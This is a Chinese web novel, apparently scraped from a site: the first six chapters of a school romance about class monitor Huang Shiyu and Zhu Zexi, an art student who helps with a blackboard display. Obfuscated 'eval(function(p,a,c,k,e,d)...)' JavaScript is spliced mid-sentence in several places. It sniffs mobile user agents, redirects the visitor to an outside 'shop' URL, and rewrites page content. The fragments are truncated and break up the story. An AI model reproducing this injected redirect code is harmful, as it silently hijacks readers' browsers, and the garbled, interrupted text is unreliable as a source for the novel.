《别惹胆小鬼》 1. 第一次招惹 “去小卖部吗?” “不去,我要睡觉。” 刚下课,黄时雨就立刻趴到桌子上,在还没陷入昏睡状态之前,好像依稀听到了后座的几句话。 高中生的课间十分钟就是用来睡觉的,黄时雨正在坚定不移地践行这一真理,不,准确来说,是全班90%的同学都在践行这一真理。 “苗苗,老赵叫你去一趟他办公室,有事跟你说,”吴笙笙把黄时雨从座位上拖起来,也不管黄时雨清醒了没,就强行推到教室门口,“你再困也得去啊,谁让你是班长呢,对吧?” “班主任找我,准~没~好~事”,黄时雨转过身,一字一顿地发出感慨,心里翻过无数个白眼,但步伐却不敢怠慢,毕竟现在才刚升高二,还要跟作为班主任的老赵打两年交道,这种重量级人物的地位黄时雨还是懂得掂量的。 九月份的满城还在梅雨季,阴雨连绵,半个月都见不上一次太阳,像是某个山水画新手,不小心将颜料洒在了画布上,整个画作都浸满了青绿色,分不清哪里是山,哪里是树,哪里是人家。在这样潮湿的环境里,黄时雨已经连着好几天没睡个安稳觉了。 教师办公室在另一栋楼,中间有一条连廊与高二这层相连。黄时雨为了节约时间懒得撑伞,直接冒雨冲到了办公室门口。 “赵老师,你找我?”黄时雨看到正站在办公室门口欣赏雨景的老赵,赶紧上前询问。 “噢,是这样黄时雨,这个月底,我们学校要评选优秀黑板报作品,主题是‘请党放心,强国有我’,你作为班长,这两天安排一下吧。” 果然,黄时雨那句“准没好事”的预感在此刻又应验了。 “好的,赵老师,这个活动什么时候截止啊,还有内容选择上有什么……”,老赵还没来得及回答,一个电话打过来打断了黄时雨连珠炮般的提问—— “反正你先去安排,后续有什么问题再问我,另外,这次要尽量得奖。” 说完老赵就大手一挥让黄时雨先回教室,自己则坐回办公室椅子上慢悠悠接起了电话。 什么,尽量得奖?! 黄时雨脑瓜子嗡嗡的。 黑板报上的粉笔字自己可以写,但是美术设计怎么办,高一的时候为什么没得奖不就是画工太差了吗,黄时雨在回班里的路上,把班上每位同学的名字都过了一遍,结果毫无意外全被pass。 “要我说,你可以去别的班找找,我听说一班有几个美术功底很好的美术生,让他们帮忙勾一下线条,再找班上同学填色就好了,也不耽搁人家太多时间,怎么样?”吴笙笙顿了顿,故意拉长语调补充道,“好像还有个帅哥哦~” 这句话让黄时雨的心有了一点点颤动,但很快就被淹没下去。 读高中这一年多,学校里都不知道传出过多少个有“帅哥”头衔的男生了,要么就是长相显得成绩很好的那种,要么就是吊儿郎当俗称“痞帅”的那种,但就是没有真正符合黄时雨心中对帅哥的评价标准的:有礼貌、懂分寸、尊重女性。 “有帅哥又怎么样,做免费劳动力,人家能同意吗?”黄时雨对吴笙笙的这条建议表示严重怀疑。 “你不去怎么知道不能成功,再说了,你还可以让罗亦芃帮忙啊,你俩不是很熟嘛。” 说起来,罗亦芃和黄时雨可太熟了,初中的时候在奥数班认识的,高中又都当选了班长,还是隔壁班,平时取试卷,登成绩,办活动什么的接触得简直不要太频繁。 但罗亦芃又偏偏是个爱招惹黄时雨的,每次都要被黄时雨追着打才会求饶。 “罗亦芃?找他帮忙还不如我自己去找呢”,黄时雨怕吴笙笙误会,赶紧补上一句,“绝对不是为了去看帅哥哦,况且美术生里有帅哥吗?” 下午放学,黄时雨没有像以往一样和吴笙笙一起冲向食堂,而是慢慢晃到一班教室门口。高中生的日常就是在学习间隙完成吃饭、睡觉等其他活动,所以做黑板报这种费时费力的事情,一般人都会放在吃晚饭的这一个小时里。 果然,等各位干饭人陆续走后,教室里除了打扫卫生的同学,就只剩一个很打眼的高个子男生坐在教室最后一排,手上好像在写些什么。 九月份的空气已经飘着微微寒意,虽然气温还在二十多度徘徊,但早晚还是需要一件薄外套,学校里短袖+校服外套的搭配随处可见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄时雨简直不敢相信自己的耳朵,这都能同意,这位帅哥真是人美心善,救人于水火,天降紫微星! “太感谢你了帅哥,我叫黄时雨,明天下午见啦!” 2. 第二次招惹 黄时雨的强势学科是语文和英语,最不擅长的就是数学,这种学生明明更适合走文科路线,可偏偏家里又以理科生好找工作为理由逼着黄时雨成为了一名理科生。 下午最后两节课,安排了一场数学模拟考试,美其名曰是检测大家的暑期学习成果,实际上就是给高二学子一个下马威,好让同学们赶紧收心,回归学习状态。 “不要东张西望的啊,你们学习不是给我学的,考试也不是给我考的”,小陈老师在教室过道里走来走去,一米八的身高加上5.3的视力,没有任何人敢在他的眼皮底下搞小动作。 黄时雨的数学成绩平均在110左右,发挥不好也可能只有100分上下,但有时也会灵光乍现考出120+的超常水平,这对于一个尖子班的学生来说,实在算不得什么拿得出手的分数。 “叮——”考试时间到,小陈老师前脚刚收齐卷子走出教室,后脚同学们就呼啦啦全冲向食堂,黄时雨也顺着人流走出去,但她的目的地不是食堂,而只是想在走廊上透透气。 毕竟,还有黑板报的重任在等待着她。 整个高中部都在逸夫楼,是整个学校最靠里、位置最高的地方,所以视野非常好。今天是连下半个月雨之后的第一个晴天,云层裂开的瞬间,夕阳像打翻了一缸橘子果酱,黏稠的光晕从西边天际漫过来。 高一、高二、高三分别在一楼、二楼和三楼。但高三学生在高三上学期的期末考试结束后,就会搬到“小花园”进行最后的冲刺。“小花园”里种满了梅花树,每到冬季飘雪时,就印证了“梅花香自苦寒来”的道理,或许这也是所有校领导和老师对高三学子最美好的鞭策和祝愿。 “黄时雨?” 黄时雨回过神,是那个美术生帅哥在跟自己打招呼,他的右手依然抱着自己的美术本,也依然戴着白色口罩,和昨天的装扮如出一辙。 “走吧,时间紧迫,我们快开始。” 站在黑板面前,黄时雨简单阐述了一下自己的构思和想法—— “我想的是,黑板报整体分成两栏,类似于报纸的两个版面,左边主要是英雄事迹,从近代到当代都选一些,配上鲜花和英雄画像,右边主要是班主任寄语和班里同学们的奋斗宣言,可以设计成便利贴的外形,中缝部分就放一两句名人名言,丰富内容,你觉得怎么样?” 祝则溪盯着黑板仔细看了好一会儿,手上还在比划着什么,估计是把黄时雨的要求揉碎打破后,在脑海中思考尺寸比例问题。 毕竟是自己专程请来的救兵,自然是要好好呵护。黄时雨赶紧把黑板面前两把椅子上的书搬到桌子上,同时把周围的书本全部挪开,给祝则溪的发挥腾出一个较为宽裕的场所。 “挺好的,就这样设计吧,”祝则溪冲黄时雨点点头。 刚大致勾勒了一下外轮廓,祝则溪突然停下来,转头对黄时雨露出歉意的笑容,戴着口罩的眼睛不停眨巴:“能不能麻烦你到讲台上看着我,如果哪里歪了或者大小有问题,你就能够看得清楚些。” 黄时雨没有一丝犹豫,立刻转身走到讲台上,找到了一个最佳的观察视角—— “我准备好啦,开始吧!” 黄时雨虽不大懂美术,但还是能明显感受到他是一个娴熟的画手,甚至有点完美主义倾向。 一个简单的放在黑板报最边缘的簇拥着的花朵,能反复修改四五次,就连便利贴的边缘线,他都要反复斟酌直至完美。 黄时雨站在讲台上,发现祝则溪已经把袖子挽到了胳膊肘,露出线条分明的小臂。他画画时总喜欢微微偏头,好像在用脑袋带动手臂的运动一样。 外面时不时走过几个打扫卫生的同学,他们嬉笑打闹的声音由远及近,又慢慢消失在走廊尽头,似乎将教室里所有吵闹都一起抽走了。只有零零散散几个埋头学习的同学的笔划过试卷的沙沙声,以及教室最后那个正在潜心创作、沉浸在美术世界中的小帅哥。 大功告成,他终于放下了手中的美术本,似乎对自己四十分钟完成的作品很是满意。 “很好看诶,不愧是专业的!” 黄时雨从讲台上快步走到黑板报前,指着黑板报上的每一处细节对祝则溪的美术功力大加称赞—— “你看这个整体布局,还有这些搭配的彩虹啊,烟花啊,草丛啊什么的,那简直比我们班高一的那个黑板报强了不知道多少倍!特别是这个含苞待放的花,真的超级生动!” 祝则溪转过头,眼睛亮晶晶的,带着兴奋和喜悦地说:“真的吗?” 但随即又意识到好像有点表现得太明显了,又不好意思地低下头,用手掸了掸校服上的粉笔灰,抬头整理了一下眼镜,用一种努力克制过的语调小声说了一句,“谢谢。” 黄时雨好奇地瞟了一眼他的美术本,终于从封面上知道了眼前这位帅哥的名字:祝则溪。 “原来你叫祝则溪啊,好好听,溪字本来就是指流入大河的小河,放到名字里,有一种奔走天地,不息驰骋的感觉。” 黄时雨的“赞商”特别高,从小在过年时就会给每一位长辈敬酒,夸哥哥姐姐漂亮帅气;祝叔叔阿姨工作顺利,心想事成;祝爷爷奶奶身体健康,长命百岁,是饭桌上妥妥的C位,被妈妈评价为“嘴甜的人精”。 “对,我妈妈给我起名的时候也差不多是想表达这个意思,而且配上我妈妈的姓,特别合适!” 祝则溪从椅子上跳下来,从兜里拿出纸巾认真擦掉鞋印。 “你是跟妈妈姓的吗,好棒哦!” 现在大部分家庭中,子女都是跟着爸爸的姓氏,跟着妈妈姓的家庭还是比较少见。虽然不能那么绝对,但能跟着妈妈姓在很大程度上反映出这个家庭应该是平等的、和睦的,对于这一点黄时雨深信不疑。 祝则溪也很赞同地点点头,起身走到角落的垃圾筐里扔掉纸巾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619072|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“而且我发现你的眼睛很漂亮,睫毛也很长,桃花眼的男生我还是第一次在生活中见到诶! 教室里还有正在学习的同学,黄时雨只能尽可能小声地跟祝则溪说话。 “啊,是吗”,祝则溪很明显往后缩了一下,黄时雨这才注意到自己说话时盯得太明显了,赶紧收回目光,站直身子尴尬地摸了摸头发。 “那你的名字是哪三个字?” 两个人靠在桌子旁边,面对面有一搭没一搭地聊着。 “一川烟草,满城风絮。梅子黄时雨。我的名字就是最后三个字。” “你的名字……也很好听”,祝则溪抬头看了一眼钟表上的时间,拿起笔记本,冲黄时雨微微一笑,眉眼弯弯的,“时间不早了,那我先走了。” “好。今天谢谢你了。” 目送他走出教室,黄时雨才注意到已经陆陆续续有同学吃完饭回来了,自己也赶紧坐回座位上,从书包里掏出中午在上学路上买好的面包,胡乱对付几口。 正吃着面包看着书,有人把一瓶牛奶放到了黄时雨的课桌桌角。 不用想,是吴笙笙买的。 “买给你的,这个味道好像是新出的,之前你没喝过,尝尝看?” 黄时雨拧开盖子猛喝了一口,然后立刻递到吴笙笙嘴边。 “太好喝了,必须让你也尝一下,这樱花味简直绝了!” 吴笙笙尝了一口,平淡地说出三个字——“还可以。” “怎么又是还可以啊,明明这么好喝,你对任何事物的评价都只有这三个字吗”,黄时雨忍不住边喝边吐槽。 “谁说的,我还会说‘这么简单’‘还不会吗’。” 每次吴笙笙给黄时雨讲题的时候,这都是她最爱说的口头禅。 黄时雨恼羞成怒,忍无可忍无需再忍,把笔“啪”一下摔在桌子上,转身去挠那个正一脸揶揄样的吴笙笙。 “吴笙笙!你嘲笑我!” 吴笙笙眼疾手快地抓住了黄时雨的手腕,露出一副“打不着我”的得意表情。 两人正互相抓着对方的胳膊拧巴在一起,教室里突然安静下来。 ——很明显,这是老师要来了的预兆。 两个人立刻正襟危坐,一改刚才嬉皮笑脸的样子,变成了“好学生”的模样。 果不其然,预备铃刚响起,老赵就拿着他漆都掉了一大半的保温杯在讲台上坐下了,教室里原本仅剩的一点交头接耳的声音也霎时间销声匿迹。 黄时雨忽然想起,之前有次去办公室领试卷,听到其他几个班主任在讨论学校升学指标的事。说是学校领导给三班下达了硬性指标:全班45人,必须全员一本,600+的人数不得少于25人,650+的人数不得少于5人。 难怪高二一开学,老赵就盯得很紧,哪怕下一节不是他的物理课,也会冷不丁出现在窗户边上,看谁在偷懒,谁在睡觉,谁在说话。 3. 第三次招惹 有了祝则溪强大美术功底的帮助,三班的黑板报进程大大加快。在班上找了几个粉笔字写得好的女生,不到五天就完成了黄时雨在高一想都不敢想的黑板报精品。 就连一向严格的老赵,都在上课之前专门夸赞了一番。 “这次黑板报的水平还是非常不错的,不管是画画还是写字,都是用了心的。” 不出所料,一班和三班月底都拿到了全校黑板报评选比赛的一等奖。 黄时雨拿到奖状后,把它端端正正地贴在教室后面“奖状专区”的正中央,这不仅是一份沉甸甸的班级荣誉,也是高二学习的“开门红”。 高二的学习压力远比高一要大得多,三天一小考,五天一大考就是黄时雨当下生活的真实写照。晚自习第一节那一个小时的自习时间,现在也慢慢变成了上课时间,要么用来考试,要么用来评讲试卷。总之,想要完成作业,那必定是要挤占下课和吃饭时间,或者是晚自习放学回家后加班学习。 每天晚上放学,都会有一大群学生家长在大门外的街道两旁等待着,坐在车里的,骑着电动车的,三五个家长相互聊天的,在人群中仔细搜寻自家孩子身影的……这些喧闹的、杂乱的人声和着初秋特有的凉意被捕捉、收音,剪辑成一支初秋放学的小曲。 可以说,无论是对学生还是家长,高中这三年都是一场鏖战。 “苗苗,笙笙,快过来!” 不用想都知道,一定是黄时雨爸爸的大嗓门。从初一开始,每天接送黄时雨上下学的任务就成了黄爸爸的例行差事。吴笙笙家里只有她和弟弟两个人,为了保证她的安全,所以黄爸爸也会顺路送吴笙笙回家。 而苗苗这个小名,是黄时雨妈妈起的,希望女儿能像小树苗一样多多吸收水分和养分,茁壮成长。 “苗苗,之前负责你们高一艺术节舞蹈的老师晚上给我打电话了,你们那个艺术节去年不是没办吗,她打算从下周开始,让你们继续准备这个节目,争取参加十二月初的新年晚会,问你还参不参加?” 原本和吴笙笙一起躺在后座闭目养神的黄时雨一下子弹起来,“当然要参加啊,你跟她说我要参加,这可是高中时代最后一次新年晚会了,多有意义啊。” “已经说啦,我早就猜到你肯定想去,爸爸还不了解你吗”,黄爸爸露出一副未卜先知的表情,转弯时从后视镜里看到正在打哈欠的吴笙笙,“笙笙也可以报名啊,估计就是这两天了,高中时代的最后一次嘛,留个纪念也好。” “叔叔,我主要是没什么才艺……”,吴笙笙犹豫着开口,“而且也没什么上台的经验,还是算了吧。” “哎呀,拿出你拼命学习的气势来,咱们优秀的年级前几名,优秀的学习委员还怕这些,你可以弹吉他呀,你学过的嘛,而且按照惯例,还有足足一个月才审核,够你练了”,黄时雨赶紧打断吴笙笙的自我怀疑,给予她极大的肯定。 “可是我家没有吉他啊,怎么办?” “很简单啊,找音乐徐老师,你明天去问她借一下,她肯定会同意的。” 上午第二节下课是30分钟的大课间,大部分同学会选择先在桌子上趴一会,然后去小超市买零食,再回教室聊天或去操场上走一走。 以前总是有同学在大课间埋在教室学习,老赵就会走进来强迫大家多出去走走,别一直闷在教室里,让大家明白“高中生的生活也不能只有学习。” 但是今天不一样。 第二节刚下课,文艺委员——小赵姐就站上讲台,之所以叫她小赵姐,是因为她跟老赵同姓,而且说话语速很快,性格也很直爽,是很有“”姐感”的女生。她手里握着一叠报名表,估计是要让大家报名参加新年晚会。 “今年的新年晚会,是我们高中参加的最后一次,今年我们一、二、三班决定一起合作表演一个合唱节目,曲目和排练时间暂时还没确定,大家如果有什么建议可以私下找我。鉴于人数考虑,一个班出20个人即可,所以会有筛选。另外就是如果你们有人有其他想要表演的节目,可以来我这里领取报名表,下个月五号初审,大家尽快做准备。” 黄时雨赶紧戳了戳自己同桌,“笙笙,你快去报名,我想看你弹吉他,求求了,给个机会吧!” 吴笙笙抬起眼皮,看到黄时雨恳切的目光,最终还是没有下狠心拒绝:“再说吧,不过,我可以去找徐老师借过来,先练练看看。” “耶,就知道你最好了~,诶对了,你说我要怎么感谢一班那个美术生帅哥呀,还帮咱们得了一等奖呢,”黄时雨的聊天话题一向如此跳跃,没有人知道这个脑回路是怎么转过来的。 “给他买奶茶吧,然后找同学放他桌上。” 于是下午放学,黄时雨在食堂快速进食后,就匆匆忙忙去排学校后门那家高人气奶茶店。 现在正是点单高峰期,一大群放学准备回家的初中生把店门口围了个水泄不通。他们点完单也不腾出位置,一股脑拥在一起,小脑袋直勾勾地盯着两个小姐姐手里的奶茶杯,每一杯奶茶做好,都会掀起一阵“是谁的”“是我的吗”“还没到我”“还要多久”的喧闹。 黄时雨虽然快有一米七了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他低头咬住吸管,芋泥的甜香瞬间在口中炸开。 祝则溪的嘴角不自觉地勾起了一个好看的弧度,耳尖也有点红红的。 这么轻微的表情,还是让齐章年捕捉到了,这可是他第一次看到祝则溪露出这种开心又不敢表现得太明显的情绪,“你笑什么呢,想到啥了?” 祝则溪又喝了一大口,转头看着齐章年的眼睛—— “我也觉得。” 祝则溪这句莫名其妙的话让齐章年一下子摸不着头脑了,这都哪跟哪啊,“你也觉得什么?” “她很漂亮。” 4. 第四次招惹 “啊,终于熬到周五了,周末终于不用早起啦!”黄时雨在回家路上显得格外兴奋,与瘫在旁边休息的吴笙笙形成鲜明反差。 “不过是早上可以多睡半小时而已嘛,”吴笙笙懒懒地回答道,连眼皮都不愿意抬一下。 “你懂什么,表面上看,那是半小时,实际上是我一整天精神力量的重要源泉,没有这半小时,我高二的人生都没有光彩了!”黄时雨作为一个才刚上高二一个多月的学生,仿佛已经完全看破未来两年高中生活的本质。 “还有哦,你记得回去好好练习你的吉他,到时候震撼全场!”谁能想到,在黄时雨的软磨硬泡下,吴笙笙竟然真的答应上台表演了! 算上绕路送吴笙笙回家的时间,黄时雨大概二十分钟左右能到家。 “妈妈,我回来啦!”黄时雨站在玄关处,边换拖鞋边向厨房里忙碌的妈妈打招呼。 “好嘞,苗苗,今天晚上给你烙了个饼,你先去学习,等下给你端上去哦。” “好!” 妈妈牌烙饼——黄时雨的最爱。 黄时雨跻上拖鞋,拿上书包就冲进书房。 经过多次试验,黄时雨发现晚上的学习时间到十二点半就是极限,一旦超过这个时间,第二天就特别容易打瞌睡。 时间大约还剩两个小时,她还有语文,化学,生物三门课的作业没写完。晚自习第一节的一个小时,被老赵和小陈老师一人一半占领了,其他晚上布置的作业就只能放到回家之后的这点时间里赶工。 时间紧迫,黄时雨甚至来不及叹气。 “苗苗,快趁热吃哦,”妈妈端着已经切成几大块的烙饼放到黄时雨的书桌上,心疼地摸摸她的头发。 爸爸妈妈心里都很清楚。黄时雨是一个很努力的孩子,当初录取到尖子班时还是班里中等偏下的成绩,从高一上学期的期末考试开始,已经能逐步稳定在年级第二十五名左右了。 妈妈寻思不能打扰孩子学习,也不想给她太大压力,就没再多说什么,退到门口,“那我们先睡了,你自己把握时间”,说完便走出书房,把门轻轻带上。 窗帘紧闭,就只剩一盏台灯在陪伴着她,黄时雨很喜欢这种没人打扰的环境。暖暖的黄色灯光,让人很安心,也很温暖。 好在这三门作业的难度都不算大,除了生物的最后一道遗传题多费了点时间,其他还算完成得比较顺利。 黄时雨真的很难想明白:为什么两个都至少有一种家族遗传病的人一定要在一起生孩子,而且大概率还不止生一个孩子。 黄时雨低头看了一眼时间,才十二点十分。她把笔和橡皮放进笔袋,把试卷放回试卷袋,收拾好书包,站起来活动活动脖子,一转脑袋发出一阵“吱嘎吱嘎”的声音。 如果要问高中最受罪的人体结构是哪个,那大概就是颈椎了。 活动了一会儿身体,黄时雨准备去洗漱,在床上和书桌上摸索了半天,到处找漱发带都没找到。 奇怪,去哪里了? 黄时雨本来就不怎么爱收拾东西,平时用完的东西一般随手就放了,真要找的时候半天都找不着,这时要是问爸爸妈妈,肯定又是一顿数落。 难道是妈妈洗了没收? 黄时雨拉开窗帘—— 果然,粉色的漱发带正晾在衣架上,独自在晚风的吹拂下摇摇晃晃。 对面那栋楼那是另外一个小区。据黄爸爸说,对面小区因为资金断裂的问题,停工好几次才建成的,从开始打地基到正式售房,花了六七年时间,所以一直卖得不好,到现在都没住满。 而就在浓重的夜色中,唯独还有一个还亮着光的房间格外瞩目,看起来似乎有一个人正在书桌前忙碌。 “诶,对面楼上好像还亮着灯呢,还有一个人坐在书桌前,难道也是高中生?”黄时雨在学习时一向喜欢把窗帘拉得紧紧的,按照她的说法,这样比较有安全感,所以这还是她第一次注意到对面楼的情况。 距离有点远,对面又拉着一层轻纱,黄时雨视力再好也最多只能看出有个人形,连性别都判断不了。 是不是我们学校的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619074|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,黄时雨根本无从确定。 不过她转念一想,如果他也是高中生的话,就意味着每天晚上也要学到很晚,和自己一样被作业和压力折磨。虽然不认识,也没机会交流,但是当个学伴总是可以的。 黄时雨把桌面简单清理了一下,关掉台灯,戴好漱发带准备去洗漱,正想着,对面那盏台灯也熄灭了。 “那应该就是高中生了,这个时间点休息挺合理的,”黄时雨继续一个人自言自语。 但正当黄时雨要拉上窗帘时,对面台灯竟然又亮了,窗帘也拉开了一点。这回黄时雨看清了,坐在书桌前的是一个男生,他正拿起一本书到处翻,不知道在找什么。 “什么意思,他不会还要学习吧?这么勤奋?”虽然黄时雨都不确定对方究竟有没有注意到自己,但内心的的竞争意识还是突然被点燃。尽管困意已经上来了,但还是硬撑着坐回书桌前。 “那我不也能输,我也要再学一会儿”,黄时雨说着也打开了台灯,甚至还打开了主灯。 随机从书包里掏出一本教材,刚好选中了生物书。 黄时雨把椅子稍微转了一点方向,朝向窗户。这样一低头就能看书,一抬头就能看到对面的情况。 看了不到五分钟,黄时雨发现对面又关灯了,自己本来就没啥要学的,不过是想跟他比赛而已。于是自己也赶紧起身,关了灯准备去洗漱。 刚按下门把手,脚还没踏出去,对面就又亮灯了。 “不是,这人有病吗,行行行,这样搞是吧,那我也学,我看你什么时候去睡觉,”黄时雨说着又坐回书桌前,掏出教材,“跟我比,比不过我的。” 就这样,两人在关灯先后这件事上纠结了快二十分钟,最后以对面男生的认输作为结束。 “哈,我就说没人比我更能学吧,”黄时雨推开书房门走向卫生间,“住在对面小区,按照学区划分,如果真是高中生的话,说不定还真可能是我同学诶。” 黄时雨一边洗漱一边想着。 “但是,我俩可能不认识吧。” 5. 第五次招惹 这次新年晚会的排练时间终于确定了。 星期一、星期五晚自习第一节排练合唱,星期二、星期天晚自习第一节排练舞蹈,而剩下的几个晚自习全部都变成了上课时间。对于这个魔鬼安排,黄时雨感觉自己随时都可能要撑不过去了。 这次合唱的歌曲是《夜空中最亮的星》,是经过三个班同学的共同投票得出的。而最让黄时雨惊讶的是,明明一般都会选择文艺委员做指挥,音乐徐老师竟然选择了自己! 第一次排练,所有人不得请假,这是徐老师定下的规矩。 除去黄时雨这个指挥,一共有60人,一排15人,女生在前两排,男生在后两排,祝则溪由于身高比较高,站在了最后一排最中间。 这个排练室很大,是之前的会议室改的。四面都有大镜子,方便观察自己的衣着、表情和状态。 徐老师用投影仪打开幕布,将谱子投上去,又把清晰度调高了一些,确保各个方向的同学都能看到。 “好了,接下来我们先一起唱一遍,我听下大家有什么问题。” 自从上了高中,同学们就再也没有上过音乐课,尽管课表上明明白白写着“音乐课”,但大家也明明白白清楚这种课是一定会被其他老师征用的。所以大家上一次见徐老师,还是在去年的新年晚会。 黄时雨在初中时有过做指挥的经历,所以上手很快,徐老师只在大家各自练习的时候稍微指导了一下黄时雨,就基本没什么大问题了。在其他同学练习合唱时,黄时雨就在旁边结合徐老师的指导意见看着谱子独自练习。 徐老师花了半个小时时间给大家梳理音准有问题的乐句,然后就让黄时雨的指挥和其他同学的合唱进行配合。 “时间紧任务重,大家都很清楚”,徐老师再三强调,“我们要争取在这一周内,把歌词全部背下来,把该自己唱的部分练熟,从哪里开始到哪里结束都要准确清晰。” 暮色透过排练室的窗户斜斜地洒进来,将木质地板染成蜂蜜般的暖黄色。六十个高中生错落地站在阶梯合唱台上,脊背挺得笔直。 作为高中时代最后一次新年晚会的表演节目,黄时雨能感觉到每一位同学都非常认真,非常投入。十六七岁的少男少女们青涩、干净的脸庞上盛满了憧憬和希望,让黄时雨仿佛提前看到了十二月初站在舞台上闪闪发光的合唱小精灵。 即使在某个声部唱错音的瞬间,角落里爆发出几声压低的轻笑,又很快被淹没在突然加强的和声里——像一条小鱼,倏地钻进了阳光照耀的涓涓细流中。 徐老师没喊停,大家也继续往下唱。 黄时雨对副歌部分的指挥方式非常熟悉,抬起眼眸的一瞬间——却下意识看向祝则溪。 这是黄时雨第一次见到没戴白色口罩的祝则溪。他几乎比身边男生高了半个头,所以即使是站在人群中,也很容易成为焦点人物。更何况,祝则溪的五官很立体,鼻子很挺,跟那双桃花眼相得益彰,即使是毫无修饰的素颜状态,也能称得上“大帅哥”一词,用“清水出芙蓉,天然去雕饰”来形容相当恰当。 可能是黄时雨的目光太过灼热,本来注视着前方镜子的祝则溪,目光一转,黄时雨还没来得及收回目目光,就直愣愣撞上了上去,两人的眼神在此刻有了短暂的纠缠,黄时雨的身体仿佛被一股强大的电流击中。 为什么他看向我的时候,我会如此紧张,黄时雨还没想明白这个问题的答案,也没办法再继续想了,因为她突然反应过来自己指挥的动作好像出错了。 这一刻,黄时雨心里突然一紧,赶紧移开目光,徐老师播放的伴奏也在此时戛然而止。 “指挥官,别走神”,徐老师在旁边严肃地提醒黄时雨,“你知道的,排练时间不多。” 黄时雨真想找个地缝钻进去,赶紧点点头。心虚地抬起头时才发现吴笙笙正在第二排偷笑,黄时雨估计她应该看到了自己和祝则溪的“眉来眼去”,立马一个眼神杀过去,示意她不准再笑了,否则绝交。 整个后半段排练,黄时雨再也不敢看向祝则溪的方向,她的眼神平等、全面地扫过除他以外的每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619075|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位同学。即使黄时雨有好几次能感受到祝则溪投来的直愣愣的目光也不为所动,直到稳定、准确地完成整首歌曲的指挥任务,黄时雨才松了一口气。 排练结束,徐老师对这次排练的情况做了简单总结,然后将黄时雨一个人单独留了下来。 “我在外面等你哦”,黄时雨完美接收了吴笙笙口型的正确含义,回应了她一个“OK”的手势。 “关于我们合唱的服装,你有什么好的建议吗?” “徐老师,我们有统一的班服,我感觉合唱穿应该没问题,就是衬衫配马甲那种。” 其实,三个尖子班在高一刚开学不久,就一起定制了统一的班服。男生和女生都是相同的白色衬衫和菱格马甲,唯一不同的是女生是百褶裙,男生是黑色长裤。 徐老师边思考边无意识地用手指轻敲桌面。 “行,你今晚回去发个图片给我看看,那你的服装呢?” 徐老师上下打量着黄时雨。 “你这么高挑的女孩子,穿有一点点拖地的白色长裙应该很漂亮,这样吧,这周天下午你有空吗,要不跟我一起去选一选?” “好。” 不用说黄时雨也明白,从学校前门出去往右拐,再穿过一条马路,经过一个十字路口,那边有两家服装租赁店,学校里大大小小的活动礼服基本都是从那边租的,黄时雨初中时也去过几次。 “刚刚祝则溪也在这儿等你哦”,吴笙笙看到黄时雨从排练室出来,开始疯狂打趣,“合唱排练你俩还敢在徐老师眼皮底下眉来眼去的,胆子太大了吧~” “你说什么呢,我跟他根本就不熟,你想哪去了,”黄时雨赶紧捂住吴笙笙的嘴,防止她再说出什么可怕的话。 “哎呀你别”,吴笙笙一把推开黄时雨,“好,你俩什么事情也没有,可以了?” “你这什么语气啊,本来就没有”,黄时雨没好气地回应她,然后看了一眼手表,直接拉上吴笙笙,“快点,还有两分钟打铃了,这节化学课可是要发上周周测试卷的!” 6. 第六次招惹 “诶,你又在看人家啊”,齐章年用胳膊撞了一下自己同桌,“你与其在这儿偷看,还不如刚刚等人家一起回来呢,还能聊几句。” 祝则溪立刻收回目光低头画画,假装什么都没发生过。 “我跟你说话呢,怎么不理我,手拿开,我看看你写啥呢?” 齐章年把脑袋凑过去,才发现祝则溪在用铅笔画素描,炭黑色的线条仿佛有了生命般流淌。 画纸上的女孩左脚离地,右脚脚尖刚刚点地,运动鞋的橡胶底在纸上擦出虚化的阴影,祝则溪特意用软橡皮在衣服袖口处抹出半透明的质感,让衣服的每一道褶皱都蓄满动态的风。 这观察和记录的速度就连同为美术生的齐章年都不得不表示佩服。 齐章年看看画又看看祝则溪,一股突如其来的好奇涌上心头—— “挺熟练啊祝则溪,平时没少画她吧?” 